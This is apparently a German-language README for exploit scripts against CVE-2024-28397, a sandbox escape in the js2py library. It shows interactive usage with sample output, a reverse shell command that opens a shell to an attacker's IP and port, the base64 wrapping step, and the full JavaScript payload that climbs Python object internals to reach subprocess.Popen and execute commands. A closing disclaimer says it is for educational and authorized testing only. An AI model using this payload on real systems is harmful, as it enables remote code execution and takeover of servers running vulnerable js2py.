
Exploit-Skripte für CVE-2024-28397, eine js2py-Sandbox-Umgehung, die beliebigen Python-Code ausführt, um eine Reverse Shell auf einem Ziel-Endpunkt zu starten.
Eine Sammlung von Exploit-Skripten, die auf die js2py-Sandbox-Escape-Schwachstelle (CVE-2024-28397) abzielen, die eine beliebige Codeausführung durch Python-Objektintrospection ermöglicht.
Die js2py-Bibliothek enthält eine kritische Sandbox-Escape-Schwachstelle, die es Angreifern ermöglicht, beliebigen Python-Code auszuführen, indem sie über die JavaScript-Methode Object.getOwnPropertyNames() auf interne Python-Objekte zugreifen.
Dieser Exploit basiert auf der umfassenden Analyse von Marven11:
Dieses Repository enthält drei verschiedene Implementierungen:
exploit.sh)Leichte Bash-Implementierung unter Verwendung von curl und jq.
exploit.go)Plattformübergreifende Go-Implementierung mit integriertem HTTP-Client.
curl, jq, base64Alle Skripte sind interaktiv und fordern zur Eingabe der erforderlichen Informationen auf:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Jedes Skript fragt nach:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
Der Exploit erstellt dynamisch einen Reverse-Shell-Befehl:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
Der Shell-Befehl wird zur sicheren Übertragung base64-kodiert:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
Der Kern-Exploit verwendet JavaScript, um auf Pythons interne Objekte zuzugreifen:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenDiese Skripte werden ausschließlich zu Bildungs- und autorisierten Testzwecken bereitgestellt. Stellen Sie stets sicher, dass Sie vor dem Testen gegen ein System über die entsprechende Berechtigung verfügen.
Diese Software wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die Nutzer sind dafür verantwortlich, die geltenden Gesetze einzuhalten und vor der Nutzung eine entsprechende Genehmigung einzuholen.